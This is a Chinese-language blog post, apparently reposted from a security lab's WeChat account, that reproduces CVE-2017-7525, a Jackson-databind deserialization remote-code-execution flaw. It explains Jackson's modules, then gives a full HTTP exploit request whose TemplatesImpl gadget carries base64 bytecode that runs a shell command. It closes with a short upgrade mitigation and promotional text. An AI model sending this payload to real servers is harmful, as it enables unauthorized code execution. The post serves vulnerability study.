Jackson 反序列化遠程代碼執行漏洞復現

本文做者:lightMs08067實驗室 SRSP TEAM小組成員)
java


jackson介紹apache

Jackson是一個可以將java對象序列化爲JSON字符串,也可以將JSON字符串反序列化爲java對象的框架。是基於Java平臺的一套數據處理工具,被稱爲」最好的Java Json解析器」。它可使咱們高效、簡便的處理json字符串。json

序列化安全

序列化函數爲databind.ObjectMapper。服務器

當Jackson開啓某些配置時,會容許開發者在反序列化時指定要還原的類,過程當中調用其構造方法setter方法或某些特殊的getter方法,當這些方法中存在一些危險操做時就形成了代碼執行。微信

Jackson核心模塊組成app

jackson-core核心包用於提供基於"流模式"解析的相關API,它包括 JsonPaser和JsonGenerator。Jackson內部實現正是經過高性能的流模式 API的JsonGenerator和JsonParser來生成和解析json。框架

jackson-annotations,註解包,提供標準註解功能;less

jackson-databind,數據綁定包,提供基於"對象綁定" 解析的相關 API(ObjectMapper)和"樹模型" 解析的相關API(JsonNode);基於"對象綁定" 解析的API和"樹模型"解析的API依賴基於"流模式"解析的API。函數

無回顯區分 Fastjson 和 Jackson

Fastjson要求不是很嚴格,因此當添加key時時不會報錯的, Jackson 由於強制 key 與 javabean 屬性對齊,只能少不能多 key,因此會報錯,服務器的響應包中多少會有異常回顯。

CVE-2017-7525

Jackson-databind在設置 Target class 成員變量參數值時,若沒有對應的 getter 方法,則會使用 SetterlessProperty 調用 getter 方法,獲取變量,而後設置變量值。當調用 getOutputProperties() 方法時,會初始化transletBytecodes 包含字節碼的類,致使命令執行。使用JDK7u21的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl做爲Gadget,發送以下請求,將會執行touch/tmp/prove1.txt

數據包

POST /exploit HTTP/1.1Host: your-ip:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko)Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: wp-settings-time-1=1585830900;pro_end=-1; order=id%20desc; ltd_end=-1; memSize=3789; sites_path=/www/wwwroot;backup_path=/www/backup; uploadSize=1073741824; rank=a; Path=/www/wwwroot;serverType=apache; force=0; PHPSESSID=tip00ut1ikrhbti18c0lh88ge2;security=impossible;BT_PANEL_6=0984f72c-0cb3-43fc-b57c-f0520915f47e.JtL1_XK2M1R1GRJwE0njVzssKhs;request_token=KI57WHwixJfkegrcqLrE7DCexa8zjG7UYk4h7v6SwBBQ2KX0; pnull=1; p5=1;load_page=null; softType=-1; load_type=-1; load_search=undefinedConnection: closeContent-Type: application/jsonContent-Length: 1298 { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw==" ], "transletName": "a.b", "outputProperties": {} } ]}

因爲此漏洞爲JDK7u21及如下版本環境中存在,故升級jdk版本及可防護。







掃描下方二維碼加入星球學習

加入後會邀請你進入內部微信羣,內部微信羣永久有效!

  

目前25000+人已關注加入咱們


本文分享自微信公衆號 - Ms08067安全實驗室(Ms08067_com)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索